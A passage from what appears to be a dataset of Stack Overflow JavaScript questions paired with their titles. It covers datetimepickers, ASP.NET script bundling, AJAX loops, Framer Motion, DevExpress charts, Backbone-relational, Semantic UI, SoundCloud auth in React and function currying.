//cdnjs.cloudflare.com/ajax/libs/jquery-timepicker/1.10.0/jquery.timepicker.min.css '' > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery-timepicker/1.10.0/jquery.timepicker.min.js '' > < /script > < /head > < body > < div class= '' container '' > < div class= '' row '' > < div class= '' col-md-6 '' > < input type= '' text '' class= '' datepicker '' / > < /div > < /div > < /div > $ ( '.datepicker ' ) .datetimepicker ( { format : 'M-d-Y g : i A ' , } ) ;",i have error with jquery datetime picker that change the time when i focus out the controll "JS : I am currently trying to setup a project to implement localization on javascript files ( as described here ) but at the same time I 'd like to bundle and minify the javascript in the project . I followed a tutorial on bundling and minification hereI have been able to get both working separately , but when I try to get them working together I can not get the localisation working properly . I think this is because bundling creates it 's own route handling for the bundled/minified javascript it generates , so the httpHandler I have defined in the webconfig gets ignored . I keep getting javascript errors saying `` CustomTranslate is not defined '' .I am trying to do this because we are building a number of controls using ExtJS , but we need to be able to apply localisation to those controls . Any help/ideas on how I can get them to work together would be appreciated.I am not using MVC , but doing this in asp.net in Visual Studio 2012.Here is my code : BundleConfig.csweb.config : Default.aspxTestForm.js : Currently the FirstName , LastName , etc are all stored in resource files , as in the linked example above.ScriptTranslator.csglobal.asax.csI hope I 've covered everything , but please let me know if there 's anything missing . Thanks in advance ! ! namespace TranslationTest { public class BundleConfig { public static void RegisterBundles ( BundleCollection bundles ) { //default bundles addeed here ... bundles.Add ( new ScriptBundle ( `` ~/bundles/ExtJS.axd '' ) .Include ( `` ~/Scripts/ExtJS/ext-all.js '' , `` ~/Scripts/ExtJS/TestForm.js '' ) ) ; } } } < globalization uiCulture= '' auto '' / > < httpHandlers > < add verb= '' * '' path= '' /bundles/ExtJS.axd '' type= '' TranslationTest.ScriptTranslator , TranslationTest '' / > < /httpHandlers > < % @ Page Title= '' Home Page '' Language= '' C # '' MasterPageFile= '' ~/Site.Master '' AutoEventWireup= '' true '' CodeBehind= '' Default.aspx.cs '' Inherits= '' TranslationTest._Default '' % > < asp : Content runat= '' server '' ID= '' BodyContent '' ContentPlaceHolderID= '' MainContent '' > < script src= '' /bundles/ExtJS.axd '' > < /script > < /asp : Content > Ext.require ( [ 'Ext.form . * ' , 'Ext.layout.container.Column ' , 'Ext.tab.Panel ' ] ) ; Ext.onReady ( function ( ) { Ext.QuickTips.init ( ) ; var bd = Ext.getBody ( ) ; bd.createChild ( { tag : 'h2 ' , html : 'Form 1 ' } ) ; var simple = Ext.create ( 'Ext.form.Panel ' , { url : 'save-form.php ' , frame : true , title : 'Simple Form ' , bodyStyle : 'padding:5px 5px 0 ' , width : 350 , fieldDefaults : { msgTarget : 'side ' , labelWidth : 75 } , defaultType : 'textfield ' , defaults : { anchor : '100 % ' } , items : [ { fieldLabel : CustomTranslate ( FirstName ) , name : 'first ' , allowBlank : false } , { fieldLabel : CustomTranslate ( LastName ) , name : 'last ' } , { fieldLabel : CustomTranslate ( Company ) , name : 'company ' } , { fieldLabel : CustomTranslate ( Email ) , name : 'email ' , vtype : 'email ' } , { xtype : 'timefield ' , fieldLabel : CustomTranslate ( Time ) , name : 'time ' , minValue : ' 8:00am ' , maxValue : ' 6:00pm ' } ] , buttons : [ { text : CustomTranslate ( Save ) } , { text : CustomTranslate ( Cancel ) } ] } ) ; simple.render ( document.body ) ; } ) ; namespace TranslationTest { public class ScriptTranslator : IHttpHandler { # region IHttpHandler Members public bool IsReusable { get { return false ; } } public void ProcessRequest ( HttpContext context ) { string relativePath = context.Request.AppRelativeCurrentExecutionFilePath.Replace ( `` .axd '' , string.Empty ) ; string absolutePath = context.Server.MapPath ( relativePath ) ; string script = ReadFile ( absolutePath ) ; string translated = TranslateScript ( script ) ; context.Response.Write ( translated ) ; Compress ( context ) ; SetHeadersAndCache ( absolutePath , context ) ; } # endregion private void SetHeadersAndCache ( string file , HttpContext context ) { context.Response.AddFileDependency ( file ) ; context.Response.Cache.VaryByHeaders [ `` Accept-Language '' ] = true ; context.Response.Cache.VaryByHeaders [ `` Accept-Encoding '' ] = true ; context.Response.Cache.SetLastModifiedFromFileDependencies ( ) ; context.Response.Cache.SetExpires ( DateTime.Now.AddDays ( 7 ) ) ; context.Response.Cache.SetValidUntilExpires ( true ) ; context.Response.Cache.SetCacheability ( HttpCacheability.Public ) ; } # region Localization private static Regex REGEX = new Regex ( @ '' CustomTranslate\ ( ( [ ^\ ) ) ] * ) \ ) '' , RegexOptions.Singleline | RegexOptions.Compiled ) ; private string TranslateScript ( string text ) { MatchCollection matches = REGEX.Matches ( text ) ; ResourceManager manager = new ResourceManager ( typeof ( TranslationTest.App_GlobalResources.text ) ) ; foreach ( Match match in matches ) { object obj = manager.GetObject ( match.Groups [ 1 ] .Value ) ; if ( obj ! = null ) { text = text.Replace ( match.Value , CleanText ( obj.ToString ( ) ) ) ; } } return text ; } private static string CleanText ( string text ) { text = text.Replace ( `` ' '' , `` \\ ' '' ) ; text = text.Replace ( `` \\ '' , `` \\\\ '' ) ; return text ; } private static string ReadFile ( string absolutePath ) { if ( File.Exists ( absolutePath ) ) { using ( StreamReader reader = new StreamReader ( absolutePath ) ) { return reader.ReadToEnd ( ) ; } } return null ; } # endregion # region Compression private const string GZIP = `` gzip '' ; private const string DEFLATE = `` deflate '' ; private static void Compress ( HttpContext context ) { if ( IsEncodingAccepted ( DEFLATE , context ) ) { context.Response.Filter = new DeflateStream ( context.Response.Filter , CompressionMode.Compress ) ; SetEncoding ( DEFLATE , context ) ; } else if ( IsEncodingAccepted ( GZIP , context ) ) { context.Response.Filter = new GZipStream ( context.Response.Filter , CompressionMode.Compress ) ; SetEncoding ( GZIP , context ) ; } } private static bool IsEncodingAccepted ( string encoding , HttpContext context ) { return context.Request.Headers [ `` Accept-encoding '' ] ! = null & & context.Request.Headers [ `` Accept-encoding '' ] .Contains ( encoding ) ; } private static void SetEncoding ( string encoding , HttpContext context ) { context.Response.AppendHeader ( `` Content-encoding '' , encoding ) ; } # endregion } } namespace TranslationTest { public class Global : HttpApplication { void Application_Start ( object sender , EventArgs e ) { Microsoft.Web.Optimization.BundleTable.Bundles.EnableDefaultBundles ( ) ; BundleConfig.RegisterBundles ( System.Web.Optimization.BundleTable.Bundles ) ; AuthConfig.RegisterOpenAuth ( ) ; } } }",HTTP handlers and javascript bundling in VS 2012 "JS : I found many posts with this topic . But the solutions I found is not much unsuitable for me . Some experts advised to change code structure , but I am not sure how can I do that.What I want:1 ) Get a list of movie from SQL database2 ) Fetch information from a website for each movieProblem I face : PHP MAX_TIMEOUT occurs.Solution I thought : call async req for each movie , separatelyBottleneck : Too many async requestsCan you please advice how to implement that ( if possible only JS , not jquery please ) ? Some solutions from web:1 ) Use ASYNC = FALSE ... . I do n't want to use SYNC req , pointless of using Ajax then2 ) Collect all data , then make Ajax call once ... well , I did that first .. but it is a long script ( fetching movie info from web ) , so ultimately causing PHP MAX_TIMEOUT3 ) increase PHP MAX_TIMEOUT ... not feasible , I do n't know how much to increase.JSJust in case anybody wants to know how I populate the JS array : FILE 1FILE 2AJAX TO GET MOVIELIST function loadData ( mArray ) { mArray = [ { `` movieid '' : '' 1 '' , '' title '' : '' 10 Things I Hate About You '' } , { `` movieid '' : '' 2 '' , '' title '' : '' 100 Girls '' } ] ; // TO SIMLYFY , I PUT THIS CODE HERE .. NORMALLY I GET THIS ARRAY USING ANOTHER AJAX CALL for ( var i = 0 ; i < mArray.length ; i++ ) { var obj = mArray [ i ] ; webAjaxcall ( obj [ `` mid '' ] , obj [ `` title '' ] ) ; // DEFINITELY NOT A GOOD IDEA } return true ; } function webAjaxcall ( mid , title ) { var xmlhttp=new XMLHttpRequest ( ) ; xmlhttp.onreadystatechange=function ( ) { if ( xmlhttp.readyState==4 & & xmlhttp.status==200 ) { //DO SOMETHING } } xmlhttp.open ( `` POST '' , '' file2.php '' , true ) ; xmlhttp.setRequestHeader ( `` Content-type '' , '' application/x-www-form-urlencoded '' ) ; params = `` title= '' +title+ '' & mid= '' +mid ; xmlhttp.send ( params ) ; } $ sql = `` SELECT ` movieid ` , ` title ` FROM movielist '' ; $ result = mysql_query ( $ sql ) or die ( mysql_error ( ) ) ; while ( $ row=mysql_fetch_assoc ( $ result ) ) { $ output [ ] = $ row ; } exit ( json_encode ( $ output ) ) ; $ json=file_get_contents ( `` http : //www.website.com/ ? t= '' .rawurlencode ( $ moviename ) ) ; $ info=json_decode ( $ json ) ; DO SOMETHING var xmlhttp=new XMLHttpRequest ( ) ; var myarr ; xmlhttp.onreadystatechange=function ( ) { if ( xmlhttp.readyState==4 & & xmlhttp.status==200 ) { myarr = xmlhttp.responseText ; loadData ( JSON.parse ( myarr ) ) ; } } xmlhttp.open ( `` POST '' , '' file1.php '' , true ) ; xmlhttp.setRequestHeader ( `` Content-type '' , '' application/x-www-form-urlencoded '' ) ; params = `` fname= < ? php echo $ ses_id ; ? > '' ; xmlhttp.send ( params ) ;",Ajax call inside each loop "JS : So I 've got this accordion-layout working with react-router-dom using a rather unconventional markup structure.Demo : https : //codesandbox.io/s/falling-violet-kvqn2 ? file=/src/Case.jsShortened code for one accordion header : And I 'm trying to get framer-motion to animate between the accordion pages . Like in the gif belowYou can see that it works fine to animate the in transition . But struggles to animate the exit prop on page change . Clicking on an accordion header , the content is abruptly hidden . Looks like it is being removed from the DOM without any consideration to AnimateSharedLayout or AnimatePresence . I tried adding in exitBeforeEnter props but it doesn ’ t work.Any ideas ? < motion.div layout transition= { transition } key= { item.id } style= { { flex : isActive ? 1 : 0 , flexBasis : isActive ? null : 56 , ... } } > < NavLink style= { { ... } } exact= { true } to= { item.url } / > < Route exact path= { item.url } > < motion.div transition= { { delay : 1 , ... transition } } variants= { { open : { opacity : 1 } , collapsed : { opacity : 0 } } } initial= '' collapsed '' animate= '' open '' exit= '' collapsed '' layout style= { { ... } } > < Home / > < /motion.div > < /Route > < /motion.div >",Framer Motion exit animation not firing on accordion with react-router-dom "JS : I have been working with Notepad++ for web development for a few months now . As I continue to work with it , I am more and more pleased with its setup . One thing really bothers me , though . When working with a JQuery template , not all of the contents of the script are recognized . The program will highlight and collapse only up until the first closing tag contained within the script tag.For example : The above code would collapse down to : Which is certainly not correct . Is there a fix or at least a workaround for this issue ? I 've just updated to version 5.9 and this is still a problem for me . < script id= '' itemTemplate '' type= '' text/html '' > < li class= '' row '' > < div class= '' rowTextContainer '' > < div class= '' rowTitle '' > $ { title } < /div > < div class= '' rowSubTitle '' > $ { subTitle } < /div > < /div > < /li > < /script > < script id= '' itemTemplate '' type= '' text/html '' > < div class= '' rowSubTitle '' > $ { subTitle } < /div > < /div > < /li > < /script >",Notepad++ Template Collapse Issue "JS : I need to put labels to all my charts . But the labels overlap for the density of the chart . I attach a sample.I need to separate them . How ? I do n't have modified the CSS of the lib . Using last version.This is a sample code , can be pasted on http : //js.devexpress.com/Demos/VizGallery/ # chart/chartsareaseriesarea : var labelPercent = { visible : true , format : 'percent ' , precision : 1 , } ; var dataSource = [ { `` Aeropuertos '' : 0.003 , `` AguaFacilidades '' : 0.016 , `` CallesPuentes '' : 0.183 , `` ConstruccionResidencialNO '' : 0.542 , `` PetroleoGas '' : 0.071 , `` PlantasEnergia '' : 0.11 , `` PuertosFluviales '' : 0.052 , `` ViasFerreas '' : 0.023 , `` Year '' : `` 2011 '' } , { `` Aeropuertos '' : 0.01 , `` AguaFacilidades '' : 0.019 , `` CallesPuentes '' : 0.19 , `` ConstruccionResidencialNO '' : 0.542 , `` PetroleoGas '' : 0.079 , `` PlantasEnergia '' : 0.09 , `` PuertosFluviales '' : 0.029 , `` ViasFerreas '' : 0.04 , `` Year '' : `` 2012 '' } , { `` Aeropuertos '' : 0.01 , `` AguaFacilidades '' : 0.019 , `` CallesPuentes '' : 0.191 , `` ConstruccionResidencialNO '' : 0.541 , `` PetroleoGas '' : 0.082 , `` PlantasEnergia '' : 0.088 , `` PuertosFluviales '' : 0.029 , `` ViasFerreas '' : 0.04 , `` Year '' : `` 2013 '' } , { `` Aeropuertos '' : 0.009 , `` AguaFacilidades '' : 0.019 , `` CallesPuentes '' : 0.19 , `` ConstruccionResidencialNO '' : 0.539 , `` PetroleoGas '' : 0.085 , `` PlantasEnergia '' : 0.085 , `` PuertosFluviales '' : 0.029 , `` ViasFerreas '' : 0.042 , `` Year '' : `` 2014E '' } , { `` Aeropuertos '' : 0.009 , `` AguaFacilidades '' : 0.018 , `` CallesPuentes '' : 0.191 , `` ConstruccionResidencialNO '' : 0.536 , `` PetroleoGas '' : 0.09 , `` PlantasEnergia '' : 0.084 , `` PuertosFluviales '' : 0.029 , `` ViasFerreas '' : 0.043 , `` Year '' : `` 2015E '' } , { `` Aeropuertos '' : 0.009 , `` AguaFacilidades '' : 0.017 , `` CallesPuentes '' : 0.192 , `` ConstruccionResidencialNO '' : 0.529 , `` PetroleoGas '' : 0.096 , `` PlantasEnergia '' : 0.084 , `` PuertosFluviales '' : 0.028 , `` ViasFerreas '' : 0.044 , `` Year '' : `` 2016E '' } , { `` Aeropuertos '' : 0.009 , `` AguaFacilidades '' : 0.017 , `` CallesPuentes '' : 0.195 , `` ConstruccionResidencialNO '' : 0.521 , `` PetroleoGas '' : 0.102 , `` PlantasEnergia '' : 0.084 , `` PuertosFluviales '' : 0.028 , `` ViasFerreas '' : 0.045 , `` Year '' : `` 2017E '' } , { `` Aeropuertos '' : 0.009 , `` AguaFacilidades '' : 0.016 , `` CallesPuentes '' : 0.196 , `` ConstruccionResidencialNO '' : 0.514 , `` PetroleoGas '' : 0.108 , `` PlantasEnergia '' : 0.084 , `` PuertosFluviales '' : 0.028 , `` ViasFerreas '' : 0.045 , `` Year '' : `` 2018E '' } , { `` Aeropuertos '' : 0.009 , `` AguaFacilidades '' : 0.015 , `` CallesPuentes '' : 0.197 , `` ConstruccionResidencialNO '' : 0.508 , `` PetroleoGas '' : 0.115 , `` PlantasEnergia '' : 0.083 , `` PuertosFluviales '' : 0.027 , `` ViasFerreas '' : 0.046 , `` Year '' : `` 2019E '' } , { `` Aeropuertos '' : 0.008 , `` AguaFacilidades '' : 0.014 , `` CallesPuentes '' : 0.198 , `` ConstruccionResidencialNO '' : 0.501 , `` PetroleoGas '' : 0.123 , `` PlantasEnergia '' : 0.082 , `` PuertosFluviales '' : 0.027 , `` ViasFerreas '' : 0.047 , `` Year '' : `` 2020E '' } , { `` Aeropuertos '' : 0.008 , `` AguaFacilidades '' : 0.014 , `` CallesPuentes '' : 0.199 , `` ConstruccionResidencialNO '' : 0.493 , `` PetroleoGas '' : 0.132 , `` PlantasEnergia '' : 0.08 , `` PuertosFluviales '' : 0.027 , `` ViasFerreas '' : 0.047 , `` Year '' : `` 2021E '' } , { `` Aeropuertos '' : 0.008 , `` AguaFacilidades '' : 0.013 , `` CallesPuentes '' : 0.199 , `` ConstruccionResidencialNO '' : 0.485 , `` PetroleoGas '' : 0.141 , `` PlantasEnergia '' : 0.079 , `` PuertosFluviales '' : 0.026 , `` ViasFerreas '' : 0.048 , `` Year '' : `` 2022E '' } ] ; $ ( `` # container '' ) .dxChart ( { dataSource : dataSource , commonSeriesSettings : { type : `` fullStackedArea '' , argumentField : `` Year '' } , series : [ { valueField : 'CallesPuentes ' , name : 'Calles y puentes ' , label : labelPercent , } , { valueField : 'ViasFerreas ' , name : 'Vías ferreas ' , label : labelPercent , } , { valueField : 'Aeropuertos ' , name : 'Aeropuertos ' , label : labelPercent , } , { valueField : 'PuertosFluviales ' , name : 'Puertos - Vías fluviales ' , label : labelPercent , } , { valueField : 'PetroleoGas ' , name : 'Petróleo y gas ' , label : labelPercent , } , { valueField : 'PlantasEnergia ' , name : 'Plantas de energía ' , label : labelPercent , } , { valueField : 'AguaFacilidades ' , name : 'Agua y facilidades sanitarias ' , label : labelPercent , } , { valueField : 'ConstruccionResidencialNO ' , name : 'Construcción Residencial y No Residencial ' , label : labelPercent , } ] , title : `` Test '' , argumentAxis : { valueMarginsEnabled : false } , tooltip : { enabled : true , } , valueAxis : [ { grid : { visible : true } } , { min : 0 , name : 'valueAxis ' , position : 'right ' , grid : { visible : true } , } , { min : 0 , name : 'valueAxis2 ' , position : 'right ' , grid : { visible : true } , } ] , legend : { verticalAlignment : `` bottom '' , horizontalAlignment : `` center '' } } ) ;",How fix labels placement so them not overlap in DevExpress js chart ? "JS : I 've got backbone-relational working fairly well so far . I have relationships and reverse relationships well established ( see below ) . When I initially call .fetch ( ) on my Country model instance , the nominees array is parsed out into nominee models perfectly.When I call .fetch ( ) again later , however , these related models do not update , even though the nominee data has changed ( e.g . the vote count has incremented ) . Essentially it seems that Backbone 's .set ( ) method understands relationships initially but not subsequently.Country ModelJSON Response on country.fetch ( ) Any help would be greatly appreciated , as always . var Country = Backbone.RelationalModel.extend ( { baseUrl : config.service.url + '/country ' , url : function ( ) { return this.baseUrl ; } , relations : [ { type : Backbone.HasMany , key : 'nominees ' , relatedModel : Nominee , collectionType : Nominee_Collection , reverseRelation : { key : 'country ' , includeInJSON : false } } ] } ) ; { `` entrant_count '' : 1234 , `` vote_count '' : 1234 , `` nominees '' : [ { `` id '' : 3 , `` name '' : `` John Doe '' , `` vote_count '' : 1 , `` user_can_vote '' : true } , { `` id '' : 4 , `` name '' : `` Marty McFly '' , `` vote_count '' : 2 , `` user_can_vote '' : true } ] }",backbone-relational .set ( ) method not updating related models "JS : Hi there I need function to calculate unique integer number from number ( real number double precision ) and integer . Try explain I am developing GIS application in javascript and I am working with complex vector object like polygon ( array of points object with two coordinate in ring ) and lines array of points . I need fast algorithm to recognize that element has been changed it must be really fast because my vector object is collection of thousand points . In C # I am calculating hash code from coordinate using bitwise operation XOR.But javascript convert all operands in bitwise operation to integer but i need convert double precision to integer before apply bitwise in c # way ( binnary ) . In reflector i see this that c # calculate hash code fro double like this and I need this function in javascript as fast as can be . Example : Example result is not correct hash == hash1 Example 2 : Using to string there is correct result but calculate Hash from string is to complicate and I thing is not fast enough.Example2 result is correct hash ! = hash1Is there some faster way than converting number to string than calculate hash from each character ? Because my object is very large and it will take lot of time and operation in this way ... I try do it using TypedArrays but yet I am not successful . Thanks very much for your help public override unsafe int GetHashCode ( ) //from System.Double { double num = this ; if ( num == 0.0 ) { return 0 ; } long num2 = * ( ( long* ) & num ) ; return ( ( ( int ) num2 ) ^ ( ( int ) ( num2 > > 32 ) ) ) ; } var rotation = function ( n ) { n = ( n > > 1 ) | ( ( n & 0x001 ) < < 31 ) ; return n ; } var x : number = 1 ; var y : number = 5 ; var hash = x ^ rotation ( y ) ; // result is -2147483645var x1 : number = 1.1 ; var y1 : number = 5 ; var hash1 = x1 ^ rotation ( y1 ) ; // result is -2147483645 var rotation = function ( n ) { n = ( n > > 1 ) | ( ( n & 0x001 ) < < 31 ) ; return n ; } var GetHashCodeString = function ( str : string ) : number { var hash = 0 , i , l , ch ; if ( str.length == 0 ) return hash ; for ( i = 0 , l = str.length ; i < l ; i++ ) { ch = str.charCodeAt ( i ) ; hash = ( ( hash < < 5 ) - hash ) + ch ; hash |= 0 ; // Convert to 32bit integer } return hash ; } var x : number = 1 ; var y : number = 5 ; var hash = GetHashCodeString ( x.toString ( ) ) ^ rotation ( GetHashCodeString ( y.toString ( ) ) ) ; //result is -2147483605 var x1 : number = 1.1 ; var y1 : number = 5 ; var hash1 = GetHashCodeString ( x1.toString ( ) ) ^ rotation ( GetHashCodeString ( y1.toString ( ) ) ) ; //result is -2147435090",JavaScript calculate hashcode from real number and integer number "JS : I 'm trying to change values of semantic dropdown by using setup menu ( values ) method , but it fails when I use useLabels : false.Ex . without useLabels : falseEx . with useLabels : falseThe problem is , that is shows that it selects value but actually does not.Or maybe problem is something else , but whatever it is I 'm not getting multiple values ( Array of chosen values ) .Any help will be appreciated.Note : I 'm using .net sever controls for select , therefore I can not use div structured dropdownEx . $ ( document ) .ready ( function ( ) { $ ( '.ui.dropdown ' ) .dropdown ( { //useLabels : false , onChange : function ( value , text , $ selectedItem ) { console.clear ( ) ; console.log ( value ) ; } } ) ; $ ( '.ui.button ' ) .on ( 'click ' , function ( ) { $ ( ' # select ' ) .dropdown ( 'setup menu ' , { values : [ { name : 'Alaska ' , value : 'AK ' } , { name : 'Arizona ' , value : 'AZ ' } , { name : 'Arkansas ' , value : 'AR ' } , { name : 'California ' , value : 'CA ' } ] } ) ; } ) } ) < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < link href= '' https : //cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.2.10/semantic.min.css '' rel= '' stylesheet '' / > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.2.10/semantic.min.js '' > < /script > < select name= '' gender '' class= '' ui dropdown '' multiple id= '' select '' > < option value= '' '' > Gender < /option > < option value= '' male '' > Male < /option > < option value= '' female '' > Female < /option > < /select > < p > < /p > < button class= '' ui button '' type= '' button '' > Reset values < /button > $ ( document ) .ready ( function ( ) { $ ( '.ui.dropdown ' ) .dropdown ( { useLabels : false , onChange : function ( value , text , $ selectedItem ) { console.clear ( ) ; console.log ( value ) ; } } ) ; $ ( '.ui.button ' ) .on ( 'click ' , function ( ) { $ ( ' # select ' ) .dropdown ( 'setup menu ' , { values : [ { name : 'Alaska ' , value : 'AK ' } , { name : 'Arizona ' , value : 'AZ ' } , { name : 'Arkansas ' , value : 'AR ' } , { name : 'California ' , value : 'CA ' } ] } ) ; } ) } ) < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < link href= '' https : //cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.2.10/semantic.min.css '' rel= '' stylesheet '' / > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.2.10/semantic.min.js '' > < /script > < select name= '' gender '' class= '' ui dropdown '' multiple id= '' select '' > < option value= '' '' > Gender < /option > < option value= '' male '' > Male < /option > < option value= '' female '' > Female < /option > < /select > < p > < /p > < button class= '' ui button '' type= '' button '' > Reset values < /button > @ Html.DropDownList ( `` '' , new { @ id = `` ddPage '' , @ class= '' ui fluid dropdown search '' , @ multiple= '' '' } )",Semantic UI Dropdown 'setup menu ' fails "JS : I keep track of deleted objects in an observableArray called 'Deletions ' . I parse that array in the UI to create 'undo deletion ' links , but I ca n't get this to work . The code is very straight-forward and looks like this : Note that different types of elements can be added to the Deletions observableArray . The only thing I need to do in the 'unremove ' function , is setting the 'destroy ' flag to false . But , I ca n't get that to work : What 's the correct way of doing this ? EDITI ca n't get this working for the nested FormElements . The structure is : my main ViewModel is called 'FormBuilder ' . The FormBuilder has multiple Pages ( those are ViewModels themselves ) and each Page has multiple FormElements ( see code snippet above ) . I can 'undelete ' those FormElements , but I have no clue how to force a refresh on them . FormBuilder is the main ViewModel ; FormBuilder has an observableArray called Pages , each Page is a ViewModel ; Each Page has an observableArray called FormElements , each FormElement is a ViewModel ; FormBuilder has an observableArray called Deletions , each Deletion is a ViewModel and each Deletion contains an element , either a Page or a FormElement.The problem : I use the function 'unremove ' to set the 'destroy ' property of the element ( either Page or FormElement ) to false . As you can see , I then call 'valueHasUpdated ' on pages . But how do I call that on the observableArray formElements as contained by an individual Page ? this.removePage = function ( page ) { self.formBuilder.pages.destroy ( page ) ; var newDeletion = new Deletion ( ) ; newDeletion.element ( page ) ; self.deletions.push ( newDeletion ) ; } this.removeFormElement = function ( element ) { self.formElements.destroy ( element ) ; var newDeletion = new Deletion ( ) ; newDeletion.element ( element ) ; builder.deletions.push ( newDeletion ) ; } var Deletion = function ( ) { var self = this ; this.element = ko.observable ( ) ; } ; this.unremovePage = function ( deletion ) { deletion.element ( ) ._destroy ( false ) ; } this.unremove = function ( deletion ) { //console.log ( deletion.element ) ; deletion.element ( ) ._destroy = false ; self.deletions.remove ( deletion ) ; self.formBuilder.pages.valueHasMutated ( ) ; // works deletion.element ( ) .valueHasMutated ( ) ; // this does n't work self.formBuilder.pages.indexOf ( deletion.element ( ) ) .valueHasMutated ( ) ; // neither does this self.deletions.valueHasMutated ( ) ; // works } ;",'Undestroy ' an object in Knockout "JS : Is it possible to make a JavaScript regex reject null matches ? Can the String.split ( ) method be told to reject null values ? -While I was testing this I came across a partial answer on accident : But , a problem arises when the match is at the start : Is there a clean answer ? Or do we just have to deal with it ? console.log ( `` abcccab '' .split ( `` c '' ) ) ; //result : [ `` ab '' , `` '' , `` '' , `` ab '' ] //desired result : [ `` ab '' , `` ab '' ] console.log ( `` abccacaab '' .split ( /c+/ ) ) ; //returns : [ `` ab '' , `` a '' , `` aab '' ] console.log ( `` abccacaab '' .split ( /a+/ ) ) ; //returns : [ `` '' , `` bcc '' , `` c '' , `` b '' ] // ^^",Javascript regex split reject null "JS : UPDATESee the working example here : Favesound-Redux Live : http : //www.favesound.de/Tutorial : http : //www.robinwieruch.de/the-soundcloud-client-in-react-reduxQuestionRecently I discovered and got inspired by Sound Redux which shows how to use the Soundcloud API within a React + Redux app . The Soundcloud API requires you to setup a callback.html page . The Sound Redux app solves this by serving the callback.html from a Go Lang Server . I do n't want to use any server side technology for this . Thats why I was wondering if it is possible to serve the callback.html as a react component . My setup already pops up the authentication modal for Soundcloud , but after entering my credentials nothing happens and the modal gets blank.In my root component I setup the route for the Callback component and my app component.When I fire the authentication request action from within my SoundContainer , the action creator looks like the following : Like I said , after entering my credentials in the modal the modal gets blank and nothing happens.When I output $ { window.location.protocol } // $ { window.location.host } / # /callback it is the same as my Redirect Uri in my Soundcloud Account : http : //localhost:8080/ # /callbackMy Callback component looks like this : const routes = < Route component= { App } > < Route path= '' /callback '' component= { Callback } / > < Route path= '' /app '' component= { SoundContainer } / > < /Route > ; ReactDOM.render ( < Provider store= { store } > < Router > { routes } < /Router > < /Provider > , document.getElementById ( 'app ' ) ) ; export function auth ( ) { return dispatch = > { SC.initialize ( { client_id : MY_CLIENT_ID , redirect_uri : ` $ { window.location.protocol } // $ { window.location.host } / # /callback ` } ) ; SC.connect ( function ( response ) { console.log ( 'connect ' ) ; // This does not appear in the console SC.get ( '/me ' , function ( data ) { console.log ( data ) ; dispatch ( doAuth ( data ) ) ; } ) } ) ; } } export default React.createClass ( { render : function ( ) { return < html > < head > < title > Callback < /title > < /head > < body onload= '' window.setTimeout ( opener.SC.connectCallback , 1 ) ; '' > < p > This page should close soon < /p > < /body > < /html > } } ) ;",React/Redux + Soundcloud API "JS : In Douglas Crockford 's book `` Javascript : The Good Parts '' he provides code for a curry method which takes a function and arguments and returns that function with the arguments already added ( apparently , this is not really what `` curry '' means , but is an example of `` partial application '' ) . Here 's the code , which I have modified so that it works without some other custom code he made : So if you have an add function : You can make a new function that already has one argument : That works fine . But what I want to know is why does he set this to null ? Would n't the expected behavior be that the curried method is the same as the original , including the same this ? My version of curry would look like this : Example ( Here is a jsfiddle of the example ) If I try to do it Douglas Crockford 's way : If I do it my way : However , I feel like if Douglas Crockford did it his way , he probably has a good reason . What am I missing ? Function.prototype.curry = function ( ) { var slice = Array.prototype.slice , args = slice.apply ( arguments ) , that = this ; return function ( ) { // context set to null , which will cause ` this ` to refer to the window return that.apply ( null , args.concat ( slice.apply ( arguments ) ) ) ; } ; } ; var add = function ( num1 , num2 ) { return num1 + num2 ; } ; add ( 2 , 4 ) ; // returns 6 var add1 = add.curry ( 1 ) ; add1 ( 2 ) ; // returns 3 Function.prototype.myCurry = function ( ) { var slice = [ ] .slice , args = slice.apply ( arguments ) , that = this ; return function ( ) { // context set to whatever ` this ` is when myCurry is called return that.apply ( this , args.concat ( slice.apply ( arguments ) ) ) ; } ; } ; var calculator = { history : [ ] , multiply : function ( num1 , num2 ) { this.history = this.history.concat ( [ num1 + `` * `` + num2 ] ) ; return num1 * num2 ; } , back : function ( ) { return this.history.pop ( ) ; } } ; var myCalc = Object.create ( calculator ) ; myCalc.multiply ( 2 , 3 ) ; // returns 6myCalc.back ( ) ; // returns `` 2 * 3 '' myCalc.multiplyPi = myCalc.multiply.curry ( Math.PI ) ; myCalc.multiplyPi ( 1 ) ; // TypeError : Can not call method 'concat ' of undefined myCalc.multiplyPi = myCalc.multiply.myCurry ( Math.PI ) ; myCalc.multiplyPi ( 1 ) ; // returns 3.141592653589793myCalc.back ( ) ; // returns `` 3.141592653589793 * 1 ''",Is there a reason why ` this ` is nullified in Crockford 's ` curry ` method ? JS : i want to check display == nonei got the solution with the below script.any other simple way to write.Thanks < li style= '' padding-bottom : 0px ; display : none ; '' > < span > Content < /span > < /li > if ( $ ( this ) .closest ( 'li ' ) .attr ( 'style ' ) =='padding-bottom : 0px ; display : none ; ' ) { // script },jquery check the attribute element value "JS : I have used transform : rotate ( 270deg ) for table header , but since names in that header are not equal ( not even close ) it looks ugly , so I have to make every column equal width . Some text in table header is made with 2 or 3 words , some are single word . Here it is how it looks like : http : //img571.imageshack.us/img571/9527/tbl.pngAll I want , is that every column has same width , no matter how long name in header is , and name put to be in 2 rows max . Edit : Example : http : //jsfiddle.net/SvAk8/ } .header { -webkit-transform : rotate ( 270deg ) ; -moz-transform : rotate ( 270deg ) ; -ms-transform : rotate ( 270deg ) ; -o-transform : rotate ( 27deg ) ; transform : rotate ( 270deg ) ; white-space : pre-line ; width : 50px ; height : 180px ; /* to be adjusted : column is not always tall enough for text */margin : 0 -80px ; vertical-align : middle ;",Table header text transform JS : How to make fullscreen textarea without Jquery or any library ? let el = document.getElementById ( ' # t ' ) const fullScrenn = ( ) = > { //there way to do that . } < textarea id= '' el '' cols= '' 30 '' rows= '' 10 '' > < /textarea > < button onclick= '' fullScrenn ( ) '' > Full Screen < /button >,Fullscreen text area without JQuery "JS : I 'm developing a Backbone application using Marionette and I need some help to organize the logic in the code.Currently I have a few views where I handle really similar logic , I want to abstract this to avoid repetition : View1View2EtcNote : handlePluginData do the same thing , doSomethingWithResultN it 's different but can be abstracted with a few params.So the 